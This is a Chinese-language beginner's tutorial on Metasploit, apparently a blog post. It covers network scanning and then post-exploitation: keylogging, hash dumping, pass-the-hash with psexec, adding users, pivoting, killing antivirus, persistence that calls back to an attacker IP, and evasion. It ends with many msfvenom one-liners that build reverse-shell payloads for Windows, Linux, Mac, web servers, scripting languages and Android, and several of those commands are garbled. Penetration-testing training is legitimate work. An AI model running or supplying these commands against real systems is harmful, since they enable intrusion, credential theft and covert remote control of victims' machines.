Metasploit新手入门

1 MSF终端

再命令行输入msfconsole

1.1 信息收集

1.1.1数据库使用

Metasploit新手入门_第1张图片

  • 我们对这台Windows虚拟机使用oX选项进行扫描,生成一个名为Subnetl.xml的文件
nmap -Pn -sS -A -oX Subnet1 192.168.1.0/24
  • 使用db_ import 命令将文件导入到数据库中;用db_ hosts 命令核实导入的结果
msf > db_connect postgres :[email protected]/msf5
msf > db_import Subnet1 .xml
msf > hosts

Metasploit新手入门_第2张图片

1.1.2 扫描模块

                    模块                                                                                                 功能

auxiliary/scanner/ip/ipidseq

寻找满足TCP空闲扫描要求的空闲主机

auxiliary/scanner/portscan/syn

syn端口扫描//查看开放的端口

auxiliary/scanner/smb/smb_version

判断windows版本

auxiliary/scanner/mssql/mssql_ping

UDP协议扫描所有的MS SQL服务器信息

auxiliary/scanner/ssh/ssh_version

扫描ssh版本

auxilary/scanner/ftp/ftp_version

扫描ftp版本

auxilary/scanner/ftp/anonymous

查看ftp服务器是否允许匿名用户登录

auxiliary/scanner/snmp/snmp_enum

扫描snmp

auxiliary/scanner/snmp/snmp_login

snmp登陆器(可以通过猜解登陆)

auxiliary/scanner/vnc/vnc_none_auth

VNC空口令(VNC已经更新,不容易扫描到肉鸡)

auxiliary/scanner/x11/open_x11

扫描x11服务器

     使用其中的扫描模块,配置RHOSTS后run,可以对扫描出来的主机再用nmap扫一下。

1.1.3 MSF中运行nmap

db_connect postgres :[email protected]/msf5 #连接数据库

成功连接到数据库后可以输入db_ nmap命令,这个命令能够在MSF终端中运行nmap,并自动将nmap结果存储在数据库中。

Metasploit新手入门_第3张图片

1.1.4 内网端口扫描

这台主机使用无法从Internet直接连接的私有IP地址。如果你希望能够使用Metasploit对位于NAT后方的主机进行攻击,那么你可以利用已被攻陷的主机作为跳板,将流量传送到网络内部的主机上。

Metasploit新手入门_第4张图片

 

1.2 载荷配置

载荷配置名称不一定要大写,但这是个好习惯

载荷名称

意义

LHOST

本地主机

RHOSTS

目标机

RPORT

目标端口

TARGET

目标系统类型(用标记符号/数字)

THREADS

扫描线程数(加快扫描速度)

PASS_FILE

暴力猜解的字典文件

USERNAME

用户登录的用户名

SMBPass

设置哈希值

13

1.3 渗透攻击

  • msf> show exploits =》 所有可用的渗透攻击模块
  • msf> show auxiliary =》显示所有的辅助模块以及它们的用途。
  • msf> show options =》
  • msf> show payloads =》 将与当前模块兼容的攻击载荷显示出来。
  • msf> show targets =》 列出受到漏洞影响目标系统的类型。
  • 可以使用info命令加上模块的名字来显示此模块的详细信息、参数说明以及所有可用的目标操作系统。

 

1.4 后渗透之Meterpreter

成功入侵系统并获得系统的Meterpreter会话之后,我们可以利用一些基本的Meterpreter命令,来收集更多的信息。

1.4.1 基本命令

  • 截屏 => screenshot
  • 获取系统运行的平台 => sysinfo
  • 更多命令 => help

1.4.2 获取键盘记录

  • 获取进程 => ps
  • 注入进程 => migrate PID
  • 运行键盘盗取模块 => run post/windows/capture/keylog_recorder
  • 到/root/.msf5/loot/下找到保存的文件

1.4.3 挖掘用户名密码

  • 提取密码哈希值
meterpreter > use priv
meterpreter > run post/windows/gather/hashdump
  • 传递哈希值,无需明文即可登录
msf> use windows/smb/psexec
msf exploit(psexec)> set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(psexec)> set LHOST 192.168.33.129
msf exploit(psexec)> set LPORT 443
msf exploit(psexec)> set RHOST 192.168.33.130
msf exploit(psexec)> set SMBPass
aad3b435b51404eeaad3b435b51404ee:b75989f65d1e04af7625ed712ac36c2
msf exploit(psexec)> exploit

1.4.4 权限提升

获得了目标系统的访问权限,可以通过net user命令创建限制权限的普通用户账号。

net user ddd password123 /add

然后,我们创建一个Meterpreter 的攻击载荷程序payload.exe,复制到目标机上,并在bob用户账户下运行。

1.4.5 跳板攻击

跳板攻击(Pivoting)是Meterpreter提供的种攻击方法,允许从Meterpreter终端攻击网络中的其他系统。比如从一个子网攻击一个目标系统,然后通过这个系统建立路由去攻击其他机器。

(1)meterpreter > run get local subnets  展示受控系统上本地子网
(2)meterpreter > background  攻击会话放到后台运行
(3)msf exploit(handler) > route add 192.168.33.0 255.255.255.0 1  在MSF终端中执行添加路由命令
(4)msf exploit(handler) > route print  显示当前活跃的路由设置

然后我们对目标内的其他Linux系统进行第二次渗透攻击。

1.4.6 使用Meterpreter脚本

通过“run脚本名字”命令,可以在Meterpreter终端中运行扩展脚本。

  • 运行run vnc 命令,在远程系统上安装VNC会话;然后运行screen_unlock命令对目标机器上的桌面进行解锁。
  • 可以使用迁移进程的后渗透攻击模块,将Meterpreter会话迁移到内存空间中的其它稳定的、不会被关闭的服务进程中,以维持稳定的系统控制连接 ->run post/windows/manage/migrate
  • 关闭杀毒软件 =>run killav
  • 获取系统密码哈希值 => run hashdump
  • 查看目标机上的所有流量 => run packetrecorder -i
  • 攫取系统信息 => run scraper
  • 控制持久化 =>  run persistence -X -i 50 -p 443 -r 192.168.33.129

1.4.7 将命令行Shell升级为Meterpreter

可以在系统被攻陷的时候使用sessions-u id命令将命令行shell升级为Meterpreter。

1.5 免杀

1.5.1 MSF攻击载荷生成器创建可独立运行的二进制文件

  • 使用shell reverse_ tcp攻击载荷的O选项来查看可用的参数
root@bt:/# msfpayload windows/shell reverse_tcp 0
  • 再一次执行msfpayload命令,并附上生成Windows PE文件

 

root@bt:/# msfpayload windows/shell reverse tcp LHOST=192.168.1. 101 LPORT=31337X >/var/w/payload1.exe
  • 使用multi/handler模块在MSF终端中启动一个监听器
msf >use exploit/multi/handler

msf exploit(handler) > set PAYLOAD windows/shell reverse_ tcp

msf exploit(handler) > set LHOST 192.168.1.101

msf exploit(handler) > set LPORT 31337

2 命令行

msfvenom

Metasploit新手入门_第5张图片

2.1 常用参数

  • -p 这个是指定你要加载的 payload
  • -l 列出所有的 payload
  • -n 设置 nopsled 的大小,常用 rop 类型的 payload,可以绕过系统 edp 保护
  • -f 指定两种格式输出,和 msfencode -t 相同
  • (第一种:支持 aspx php asp exe dll elf jsp msi war vbs 等等常用格式....................)
  • (第二种:支持了 bash c java python ruby psl py perl pl 等等常用格式.....................)
  • -e 使用编码器
  • -a 精确的使用编码(生成的 payload 用于 32 位操作系统 那么就指定 -a x86)
  • -s 生成 payload 的时候可以指定最大多少
  • -b 去除空代码或者错误代码减少多余的字符同时减少体积(例如:-b \xOO\xff)
  • -i 指定编码次数
  • -c 捆绑
  • -o 指定输出位置

2.2基本使用

    exe

msfvenom -p windows /meterpreter/reverse_tcp LHOST=LPORT= -f exe > raff.exe

    Linux

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=LPORT= -f elf > root.elf

    Windows

msfvenom -p windows/meterpreter/reverse_tcp LHOST=LPORT= -f exe > shell.exe

    Mac

msfvenom -p osx/x86/shell_reverse_tcp LHOST= LPORT= -f macho > shell.macho

    PHP

msfvenom -p php/meterpreter_reverse_tcp LHOST= LPORT= -f raw > shell.php

cat shell.php | pbcopy && echo ' shell.php && pbpaste >>shell.php

    ASP

msfvenom -p windows/meterpreter/reverse_tcp LHOST=LPORT= -f asp > shell.asp

    JSP

msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f raw > shell.jsp

    WAR

msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f war > shell.war

    Python

msfvenom -p cmd/unix/reverse_python LHOST= LPORT= -f raw > shell.py

    Bash

msfvenom -p cmd/unix/reverse_bash LHOST= LPORT= -f raw > shell.sh

    Perl

msfvenom -p cmd/unix/reverse_perl LHOST= LPORT= -f raw > shell.pl

    Android

msfvenom -p android/meterpreter/reverse_tcp LHOST=监听 ip LPORT=监听端口 R > gome.apk

3 图形化界面

armitage

Metasploit新手入门_第6张图片

你可能感兴趣的:(kali,渗透测试)